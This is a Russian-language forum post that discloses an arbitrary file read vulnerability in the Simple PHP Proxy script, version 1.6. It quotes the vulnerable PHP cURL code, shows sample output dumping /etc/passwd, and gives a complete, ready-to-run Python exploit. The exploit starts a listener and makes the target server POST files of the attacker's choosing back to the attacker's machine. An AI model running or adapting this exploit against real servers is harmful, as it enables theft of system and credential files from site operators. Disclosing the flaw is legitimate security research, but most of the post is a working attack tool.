Старый 20.07.2014, 16:29   #1
cyberguru
 
Регистрация: 07.01.2014
Сообщений: 1
Репутация: 0
По умолчанию Simple PHP Proxy

Продукт: Simple PHP Proxy
Исходный код: скачать
Уязвимость: чтение произвольных файлов

В скрипте запросы осуществляются через cURL.
Код:
if ( strtolower($_SERVER['REQUEST_METHOD']) == 'post' ) {
    curl_setopt( $ch, CURLOPT_POST, true );
    curl_setopt( $ch, CURLOPT_POSTFIELDS, $_POST );
  }
  ...
  curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
  curl_setopt( $ch, CURLOPT_HEADER, true );
  curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
  
  curl_setopt( $ch, CURLOPT_USERAGENT, $_GET['user_agent'] ? $_GET['user_agent'] : $_SERVER['HTTP_USER_AGENT'] );
  
  list( $header, $contents ) = preg_split( '/([\r\n][\r\n])\\1/', curl_exec( $ch ), 2 );
В cURL возможна отправка файла методом POST, путем использования символа @ перед именем файла.
PHP код:
curl_setopt($curl_handleCURLOPT_POST1);
$args['file'] = '@/path/to/file';
curl_setopt($curl_handleCURLOPT_POSTFIELDS$args); 
Это может использовать атакующий и отправить себе произвольный файл.

Осуществляется проверка введенного URL на валидность регулярным выражением, но по дефолту
Код:
$valid_url_regex = '/.*/';
Эксплойт:
  • слушает заданный порт
  • работает в интерактивном режиме
Код HTML:
# python exploit.py -u "http://xxx/ba-simple-proxy.php" -p 31337
[+] Server x.x.x.x:31337
$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...
Код:
#!/usr/bin/env python
# Exploit Title: Simple PHP Proxy Arbitrary File Read
# Date:17-04-2014
# Exploit Author: @cyberguru007
# Vendor Homepage: http://benalman.com/projects/php-simple-proxy/
# Software Link: https://raw.githubusercontent.com/cowboy/php-simple-proxy/master/ba-simple-proxy.php
# Version: 1.6

import re
import sys
import select
import signal
import socket
import urllib
import urllib2
import argparse
import threading

class Flush(object):
	def __init__(self, f):
		self.f = f
	def write(self, x):
		self.f.write(x)
		self.f.flush()

class OOB_Server:
	def __init__(self, url, port):
		self.url = url
		self.host = self.GetIp()
		self.port = port
		self.buffsize = 1024
		self.timeout = 2
		signal.signal(signal.SIGINT, self.SignalHandler)
	
	def Read(self, conn):
		conn.settimeout(self.timeout)
		ret = ''
		while True:
			try:
				p = conn.recv(self.buffsize)
				if not p:
					break
				ret += p
			except socket.timeout:
				conn.send('HTTP/1.1 200 OK\r\n\r\n')
				conn.close()
				break
		return ret

	def Pwn(self, fname):
		url = "%s?url=%s:%s" % (self.url, self.host, self.port)
		req = urllib2.Request(url, urllib.urlencode({ 'xxx' : '@%s' % fname }))
		urllib2.urlopen(req).read()

	def Parse(self, data):
		l = '------------------------------'
		m = re.search('%s(?:[0-9a-f]{12,12})\r\nContent-Disposition: (?:.+?)\r\nContent-Type: (?:.+?)\r\n\r\n(.+?)\r\n%s(?:[0-9a-f]{12,12})--' % (l, l), data, re.DOTALL)
		return m.group(1) if m else '[-] Error'

	def GetIp(self):
		return urllib2.urlopen('http://myip.dnsdynamic.org/').read()

	def SignalHandler(self, signal, frame):
		self.server.close()
		sys.stdout.write('\n[+] Bye!\n')
		sys.exit(0)

	def Start(self):
		sys.stdout = Flush(sys.stdout)
		self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
		self.server.bind(('', self.port))
		self.server.listen(5)
		self.socket_input = [self.server, sys.stdin]
		self.run = 1
		sys.stdout.write('[+] Server %s:%s\n$ ' % (self.host, self.port))
		while self.run:
		    input_ready, output_ready, except_ready = select.select(self.socket_input, [], [])
		    for s in input_ready:
		        if s == self.server:
		            client, address = self.server.accept()
		            self.socket_input.append(client)
		        elif s == sys.stdin:
		            cmd = sys.stdin.readline().strip()
		            if cmd == 'exit':
		            	self.run = 0
		            	sys.stdout.write('[+] Bye!\n')
		            else:
		            	threading.Thread(target = self.Pwn, args = (cmd,)).start()
		        else:
		        	data = self.Read(s)
		        	self.socket_input.remove(s)
		        	sys.stdout.write('%s\n$ ' % self.Parse(data))
		self.server.close() 


p = argparse.ArgumentParser()
p.add_argument("-u", "--url", dest = "url", help = "http://target/simple-proxy-script.php")
p.add_argument("-p", "--port", dest = "port", default = 4567, type = int, help = "Server port")
args = p.parse_args()
if not args.url:
	p.print_help()
	sys.exit(0)

x = OOB_Server(args.url, args.port)
x.Start()

Последний раз редактировалось cyberguru; 20.07.2014 в 16:47..
cyberguru вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot